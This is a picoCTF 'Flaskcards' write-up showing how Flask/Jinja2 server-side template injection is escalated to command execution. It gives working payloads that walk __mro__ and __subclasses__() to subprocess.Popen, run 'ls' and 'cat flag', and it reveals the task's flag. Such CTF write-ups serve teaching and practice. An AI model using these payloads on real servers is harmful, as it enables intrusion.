This task is a "sequel" to the first one in the "Flaskcards" series. Thevulnerability is the same, but this time we need to get code execution out ofit.
First, here are the two reference articles for FLask/Jinja2 SSTI exploitation :
- [Exploring SSTI in Flask/Jinja2 part I](https://www.lanmaster53.com/2016/03/09/exploring-ssti-flask-jinja2/)- [Exploring SSTI in Flask/Jinja2 part II](https://www.lanmaster53.com/2016/03/11/exploring-ssti-flask-jinja2-part-2/)
Everything we need to solve this task is in those two posts !
What we need to do is explore the Python environment in order to find a classthat we can use for command execution. Here's how to construct a payload :
```jinja2{{ "".__class__.__mro__ }}```
In python, everything is an object. So here `""` (an empty string) is a`str` instance. the `__class__` attribute gives us access to its class (`str`).the `__mro__` (Method Resolution Order) attribute of a class gives us theinheritance tree of that class (a tuple of classes) :
```python(str, object)```
Now, "everything is an object" in python translates to "every class is asubclass of `object`". So we can explore the python environment by listingthe subclasses of `object` :
If `{{ "".__class__.__mro__ }}` evaluates to `(str, object)`, then
```jinja2{{ "".__class__.__mro__[1] }}```
evaluates to
```pythonobject```
We can then use the `__subclasses__()` method of the `object` class to get alist of subclasses. So using the payload :
{{ "".__class__.__mro__[1].__subclasses__() }}
We get a very long list classes. I copied it and then used :
```pythonsubclasses = !pbpastefor index, subclass in enumerate(subclasses[0].split(',')):    print(f'{index}: {subclass}')```
to get a list of the subclasses with their index in the list.
_Note : `!command` is not python syntax, it is an[IPython](https://ipython.org/) feature that returns the output of a command.`pbpaste` is an OSX command that echoes the content of the system clipboard._
Going through the list, we can find a class that can be used for commandexecution. The most obvious one is `subprocess.Popen`, at index `533`. We couldget a bind/remote shell, or just list the current directory :
```jinja2{{ "".__class__.__mro__[1].__subclasses__()[533]("ls", stdout=-1, shell=True) }}```
This shows a `flag` file, so let's `cat` it :
```jinja2{{ "".__class__.__mro__[1].__subclasses__()[533]("cat flag", stdout=-1, shell=True) }}```
And that gives us the flag = `picoCTF{R_C_E_wont_let_me_be_85e92c3a}`.